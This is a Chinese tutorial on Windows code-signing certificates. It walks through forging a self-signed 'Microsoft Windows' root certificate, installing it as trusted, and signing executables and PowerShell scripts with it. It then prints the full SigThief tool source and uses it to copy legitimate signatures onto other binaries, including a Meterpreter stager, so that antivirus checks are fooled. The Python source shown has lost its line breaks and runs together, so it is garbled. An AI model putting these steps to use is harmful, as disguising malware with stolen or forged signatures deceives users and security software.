Windows 系统中的一些非常重要文件通常会被添加数字签名,其目的是用来防止被篡改,能确保用户通过互联网下载时能确信此代码没有被非法篡改和来源可信,从而保护了代码的完整性、保护了用户不会被病毒、恶意代码和间谍软件所侵害,而一些杀毒软件也是通过检测程序中的证书来实现查杀判定的,本章将演示证书的签发与伪造。

证书制作工具下载: https://github.com/3gstudent/signtools

制作并签发证书: 正常情况下,针对exe签发证书有如下几个步骤.

1.查询一个程序中存在的证书,可以使用下面三个命令。

c:\> signtools Get-AuthenticodeSignature C:\Windows\System32\ConsentUX.dll
c:\> signtools signtool.exe verify /v C:\Windows\System32\ConsentUX.dll
c:\> signtools sigcheck.exe -q C:\Windows\System32\ConsentUX.dll

2.使用makecert命令制作证书,sv-私钥文件名,ss-主题的证书存储名称,n-证书颁发对象,r-证书存储位置。

c:\> signtools makecert -n "CN=Microsoft Windows" -r -sv Root.pvk Root.cer
c:\> signtools cert2spc Root.cer Root.spc
c:\> signtools pvk2pfx -pvk Root.pvk -pi 1233 -spc Root.spc -pfx Root.pfx -f

3.注册证书与签发证书。

c:\> signtools certmgr.exe -add -c Root.cer -s -r localmachine root
c:\> signtools signtool sign /f Root.pfx /p 1233 lyshark.exe

而如果要给PowerShell脚本添加证书,则执行如下命令即可.

1.生成证书文件

c:\> makecert -n "CN=Microsoft Windows" -r -eku 1.3.6.1.5.5.7.3.3 -sv certtest.pvk certtest.cer
c:\> cert2spc certtest.cer certtest.spc
c:\> pvk2pfx -pvk certtest.pvk -pi 123123 -spc certtest.spc -pfx certtest.pfx -f

2.给powershell脚本签名

c:\> powershell
c:\> $cert = Get-PfxCertificate certtest.pfx
c:\> Set-AuthenticodeSignature -Filepath lyshark.ps1 -Cert $cert

伪造PE文件证书:

有些反病毒软件供应商优先考虑某些证书颁发机构而不检查签名是否真正有效,并且有一些只是检查以查看certTable是否填充了某些值。这个工具让你快速将从已签名的PE文件中删除签名并将其附加到另一个文件,修复证书表以对文件进行签名。

开源工具SigThief可用于伪造证书,将下方代码保存为sigthief.py即可:

import sys
import struct
import shutil
import io
from optparse import OptionParserdef gather_file_info_win(binary):"""Borrowed from BDF...I could just skip to certLOC... *shrug*"""flItms = {}binary = open(binary, 'rb')binary.seek(int('3C', 16))flItms['buffer'] = 0flItms['JMPtoCodeAddress'] = 0flItms['dis_frm_pehdrs_sectble'] = 248flItms['pe_header_location'] = struct.unpack('<i', binary.read(4))[0]# Start of COFFflItms['COFF_Start'] = flItms['pe_header_location'] + 4binary.seek(flItms['COFF_Start'])flItms['MachineType'] = struct.unpack('<H', binary.read(2))[0]binary.seek(flItms['COFF_Start'] + 2, 0)flItms['NumberOfSections'] = struct.unpack('<H', binary.read(2))[0]flItms['TimeDateStamp'] = struct.unpack('<I', binary.read(4))[0]binary.seek(flItms['COFF_Start'] + 16, 0)flItms['SizeOfOptionalHeader'] = struct.unpack('<H', binary.read(2))[0]flItms['Characteristics'] = struct.unpack('<H', binary.read(2))[0]#End of COFFflItms['OptionalHeader_start'] = flItms['COFF_Start'] + 20#if flItms['SizeOfOptionalHeader']:#Begin Standard Fields section of Optional Headerbinary.seek(flItms['OptionalHeader_start'])flItms['Magic'] = struct.unpack('<H', binary.read(2))[0]flItms['MajorLinkerVersion'] = struct.unpack("!B", binary.read(1))[0]flItms['MinorLinkerVersion'] = struct.unpack("!B", binary.read(1))[0]flItms['SizeOfCode'] = struct.unpack("<I", binary.read(4))[0]flItms['SizeOfInitializedData'] = struct.unpack("<I", binary.read(4))[0]flItms['SizeOfUninitializedData'] = struct.unpack("<I",binary.read(4))[0]flItms['AddressOfEntryPoint'] = struct.unpack('<I', binary.read(4))[0]flItms['PatchLocation'] = flItms['AddressOfEntryPoint']flItms['BaseOfCode'] = struct.unpack('<I', binary.read(4))[0]if flItms['Magic'] != 0x20B:flItms['BaseOfData'] = struct.unpack('<I', binary.read(4))[0]# End Standard Fields section of Optional Header# Begin Windows-Specific Fields of Optional Headerif flItms['Magic'] == 0x20B:flItms['ImageBase'] = struct.unpack('<Q', binary.read(8))[0]else:flItms['ImageBase'] = struct.unpack('<I', binary.read(4))[0]flItms['SectionAlignment'] = struct.unpack('<I', binary.read(4))[0]flItms['FileAlignment'] = struct.unpack('<I', binary.read(4))[0]flItms['MajorOperatingSystemVersion'] = struct.unpack('<H',binary.read(2))[0]flItms['MinorOperatingSystemVersion'] = struct.unpack('<H',binary.read(2))[0]flItms['MajorImageVersion'] = struct.unpack('<H', binary.read(2))[0]flItms['MinorImageVersion'] = struct.unpack('<H', binary.read(2))[0]flItms['MajorSubsystemVersion'] = struct.unpack('<H', binary.read(2))[0]flItms['MinorSubsystemVersion'] = struct.unpack('<H', binary.read(2))[0]flItms['Win32VersionValue'] = struct.unpack('<I', binary.read(4))[0]flItms['SizeOfImageLoc'] = binary.tell()flItms['SizeOfImage'] = struct.unpack('<I', binary.read(4))[0]flItms['SizeOfHeaders'] = struct.unpack('<I', binary.read(4))[0]flItms['CheckSum'] = struct.unpack('<I', binary.read(4))[0]flItms['Subsystem'] = struct.unpack('<H', binary.read(2))[0]flItms['DllCharacteristics'] = struct.unpack('<H', binary.read(2))[0]if flItms['Magic'] == 0x20B:flItms['SizeOfStackReserve'] = struct.unpack('<Q', binary.read(8))[0]flItms['SizeOfStackCommit'] = struct.unpack('<Q', binary.read(8))[0]flItms['SizeOfHeapReserve'] = struct.unpack('<Q', binary.read(8))[0]flItms['SizeOfHeapCommit'] = struct.unpack('<Q', binary.read(8))[0]else:flItms['SizeOfStackReserve'] = struct.unpack('<I', binary.read(4))[0]flItms['SizeOfStackCommit'] = struct.unpack('<I', binary.read(4))[0]flItms['SizeOfHeapReserve'] = struct.unpack('<I', binary.read(4))[0]flItms['SizeOfHeapCommit'] = struct.unpack('<I', binary.read(4))[0]flItms['LoaderFlags'] = struct.unpack('<I', binary.read(4))[0]  # zeroflItms['NumberofRvaAndSizes'] = struct.unpack('<I', binary.read(4))[0]# End Windows-Specific Fields of Optional Header# Begin Data Directories of Optional HeaderflItms['ExportTableRVA'] = struct.unpack('<I', binary.read(4))[0]flItms['ExportTableSize'] = struct.unpack('<I', binary.read(4))[0]flItms['ImportTableLOCInPEOptHdrs'] = binary.tell()#ImportTable SIZE|LOCflItms['ImportTableRVA'] = struct.unpack('<I', binary.read(4))[0]flItms['ImportTableSize'] = struct.unpack('<I', binary.read(4))[0]flItms['ResourceTable'] = struct.unpack('<Q', binary.read(8))[0]flItms['ExceptionTable'] = struct.unpack('<Q', binary.read(8))[0]flItms['CertTableLOC'] = binary.tell()flItms['CertLOC'] = struct.unpack("<I", binary.read(4))[0]flItms['CertSize'] = struct.unpack("<I", binary.read(4))[0]binary.close()return flItmsdef copyCert(exe):flItms = gather_file_info_win(exe)if flItms['CertLOC'] == 0 or flItms['CertSize'] == 0:# not signedprint("Input file Not signed!")sys.exit(-1)with open(exe, 'rb') as f:f.seek(flItms['CertLOC'], 0)cert = f.read(flItms['CertSize'])return certdef writeCert(cert, exe, output):flItms = gather_file_info_win(exe)if not output: output = output = str(exe) + "_signed"shutil.copy2(exe, output)print("Output file: {0}".format(output))with open(exe, 'rb') as g:with open(output, 'wb') as f:f.write(g.read())f.seek(0)f.seek(flItms['CertTableLOC'], 0)f.write(struct.pack("<I", len(open(exe, 'rb').read())))f.write(struct.pack("<I", len(cert)))f.seek(0, io.SEEK_END)f.write(cert)print("Signature appended. \nFIN.")def outputCert(exe, output):cert = copyCert(exe)if not output:output = str(exe) + "_sig"print("Output file: {0}".format(output))open(output, 'wb').write(cert)print("Signature ripped. \nFIN.")def check_sig(exe):flItms = gather_file_info_win(exe)if flItms['CertLOC'] == 0 or flItms['CertSize'] == 0:# not signedprint("Inputfile Not signed!")else:print("Inputfile is signed!")def truncate(exe, output):flItms = gather_file_info_win(exe)if flItms['CertLOC'] == 0 or flItms['CertSize'] == 0:# not signedprint("Inputfile Not signed!")sys.exit(-1)else:print( "Inputfile is signed!")if not output:output = str(exe) + "_nosig"print("Output file: {0}".format(output))shutil.copy2(exe, output)with open(output, "r+b") as binary:print('Overwriting certificate table pointer and truncating binary')binary.seek(-flItms['CertSize'], io.SEEK_END)binary.truncate()binary.seek(flItms['CertTableLOC'], 0)binary.write(b"\x00\x00\x00\x00\x00\x00\x00\x00")print("Signature removed. \nFIN.")def signfile(exe, sigfile, output):flItms = gather_file_info_win(exe)cert = open(sigfile, 'rb').read()if not output: output = output = str(exe) + "_signed"shutil.copy2(exe, output)print("Output file: {0}".format(output))with open(exe, 'rb') as g:with open(output, 'wb') as f:f.write(g.read())f.seek(0)f.seek(flItms['CertTableLOC'], 0)f.write(struct.pack("<I", len(open(exe, 'rb').read())))f.write(struct.pack("<I", len(cert)))f.seek(0, io.SEEK_END)f.write(cert)print("Signature appended. \nFIN.")if __name__ == "__main__":usage = 'usage: %prog [options]'parser = OptionParser()parser.add_option("-i", "--file", dest="inputfile", help="input file", metavar="FILE")parser.add_option('-r', '--rip', dest='ripsig', action='store_true',help='rip signature off inputfile')parser.add_option('-a', '--add', dest='addsig', action='store_true',help='add signautre to targetfile')parser.add_option('-o', '--output', dest='outputfile',help='output file')parser.add_option('-s', '--sig', dest='sigfile',help='binary signature from disk')parser.add_option('-t', '--target', dest='targetfile',help='file to append signature to')parser.add_option('-c', '--checksig', dest='checksig', action='store_true',help='file to check if signed; does not verify signature')parser.add_option('-T', '--truncate', dest="truncate", action='store_true',help='truncate signature (i.e. remove sig)')(options, args) = parser.parse_args()# rip signature# inputfile and rip to outputfileif options.inputfile and options.ripsig:print("Ripping signature to file!")outputCert(options.inputfile, options.outputfile)sys.exit()    # copy from one to another# inputfile and rip to targetfile to outputfile    if options.inputfile and options.targetfile:cert = copyCert(options.inputfile)writeCert(cert, options.targetfile, options.outputfile)sys.exit()# check signature# inputfile if options.inputfile and options.checksig:check_sig(options.inputfile) sys.exit()# add sig to target fileif options.targetfile and options.sigfile:signfile(options.targetfile, options.sigfile, options.outputfile)sys.exit()# truncateif options.inputfile and options.truncate:truncate(options.inputfile, options.outputfile)sys.exit()parser.print_help()parser.error("You must do something!")

我们需要找一个带有证书的文件,然后通过使用sigthief.py完成证书的克隆。此处就拿系统中的ConsentUX.dll演示。

c:\> python sigthief.py -i ConsentUX.dll -t lyshark.exe -o check.exe
Output file: check.exe
Signature appended.
FIN.

也可以从二进制文件中获取签名并将其添加到另一个二进制文件中

$ ./sigthief.py -i tcpview.exe -t x86_meterpreter_stager.exe -o /tmp/msftesting_tcpview.exe
Output file: /tmp/msftesting_tcpview.exe
Signature appended.
FIN.

将签名保存到磁盘以供以后使用,提供了一个转存功能。

$ ./sigthief.py -i tcpview.exe -r
Ripping signature to file!
Output file: tcpview.exe_sig
Signature ripped.
FIN.
```BASH
使用翻录签名
```BASH
$ ./sigthief.py -s tcpview.exe_sig -t x86_meterpreter_stager.exe
Output file: x86_meterpreter_stager.exe_signed
Signature appended.
FIN.
```BASH
截断(删除)签名 这实际上有非常有趣的结果,可以帮助您找到重视代码功能签名的AV)
```BASH
$ ./sigthief.py -i tcpview.exe -T
Inputfile is signed!
Output file: tcpview.exe_nosig
Overwriting certificate table pointer and truncating binary
Signature removed.
FIN.

Python 使用sigthief 签发证书相关推荐

  1. openssl 自建CA签发证书 网站https的ssl通信

    <<COMMENT X509 文件扩展名 首先我们要理解文件的扩展名代表什么.DER.PEM.CRT和CER这些扩展名经常令人困惑. 很多人错误地认为这些扩展名可以互相代替.尽管的确有时候 ...

  2. python有相关的证书可以考吗-学python需要考证吗?考证有什么好处?

    对于学习Python的人来说,常常具有这样的疑问:学python需要考证吗?考证有什么好处? 学python需要考证吗? Python这门语言近来是越来越火,在国家层面越来越被重视.除了之前热议的加入 ...

  3. OpenSSL签发证书时编码UTF8STRING PRINTABLESTRING不匹配

    问题如下: Check that the request matches the signature Signature ok The countryName field is different b ...

  4. openssl创建CA并签发证书

    一.创建私有CA根证书 1.创建CA目录 root@DESKTOP-JP3S3AN:/home/wsl/openssl_pro# mkdir -pv /etc/pki/CA/{private,cert ...

  5. 加密解密概述及openssl应用及其创建CA和签发证书的实现

    数据非常重要,这是大家的共识,为了保证数据的安全,就会涉及到加密及其解密,本文主要介绍加密 解密相关概念及其在Linux平台下加密解密的具体实现openssl基础,及openssl创建CA和签发证书: ...

  6. OpenSSL生成root CA及签发证书

    一.openssl 简介 openssl 是目前最流行的 SSL 密码库工具,其提供了一个通用.健壮.功能完备的工具套件,用以支持SSL/TLS 协议的实现.官网:https://www.openss ...

  7. 使用 openssl 创建自签发证书,含 IP证书 及 泛域名证书

    web里面需要使用ssl才能使用,所以需要使用域名证书: 1. 创建根证书 创建秘钥 openssl genrsa -out LocalRootCA.key 2048 生成证书并自签名,nodes是不 ...

  8. 使用OpenSSL生成/签发证书的原理、流程与示例

    文章目录 1 生成证书的步骤与原理 2 标准的CA签发流程 2.1 创建私钥(.key) 2.2 基于私钥创建证书签名请求(.csr) 2.3 (可选)直接同时生成私钥和证书签名请求 2.4 将证书申 ...

  9. 部署harbor并实现https(SAN签发证书)

      目录 一.安装docker.docker-compose 二.安装harbor 三.签发证书 四.修改配置文件 五.运行harbor 六.客户端测试: 使用系统:ubuntu 20.04.3 ha ...

最新文章

  1. hdu1166敌兵布阵hdu1754I Hate It(线段树入门)
  2. 根文件系统使用登录模式
  3. AtCoder AGC043D Merge Triplets (DP、组合计数)
  4. 一个失败的SAP Spartacus路由修改尝试 -在CmsPageGuard的开头触发 OCC API 调用
  5. 问题 1074: 数字整除
  6. 怎么解决缺少java.doc_java 生成doc帮助文档时出现的问题
  7. sklearn 决策树例子_使用 sklearn 构建决策树并使用 Graphviz 绘制树结构
  8. python窗口图形界面编程上传图片_python GUI编程(Tkinter) 创建子窗口及在窗口上用图片绘图实例...
  9. java基础方法笔记
  10. 转载一朋友的qq空间,感觉都是至理名言啊!
  11. 马蹄疾 | 聊聊你可能并没有完全掌握的 Flex 布局:从概念入手,丝丝入扣
  12. freeswitch的使用
  13. 模拟摄像头和网络摄像头_没有网络摄像头没问题
  14. 编译原理支配树部分名词介绍
  15. springboot发送短信验证码
  16. 测试人生 | 为了娃的奶粉钱,测试媛妈妈拿出考研的拼劲,半年终圆大厂梦
  17. 姿态估计论文思路整理 -- Realtime Multi-Person 2D Pose Estimation using Part Affinity Fields
  18. 成功解决OBS中的回音问题
  19. 《嵌入式linux内存使用与性能优化》读书笔记
  20. PW4056H充电芯片,1A可调充电

热门文章

  1. 3. Maven POM
  2. Darknet YOLOv4批量检测图片并保存检测结果图片
  3. 智慧交通 | 数字孪生可视化平台
  4. 硕士毕业论文常见的排版小技巧
  5. 使用Jaspersoft Studio制作JasperReport报表(三)简单的学生分数统计报表
  6. 英科宇三维CAD Solidworks 2018
  7. 北航计算机研究生待遇,“双一流”高校研究生薪资排名:20所高校薪资过万!北航居第一...
  8. 【华为OD机试真题 Java】几何平均值最大的子数组(100%通过+全网最详细注释)
  9. linux服务器多网卡聚合,linux多网卡绑定聚合-bond技术
  10. html如何调节文字位置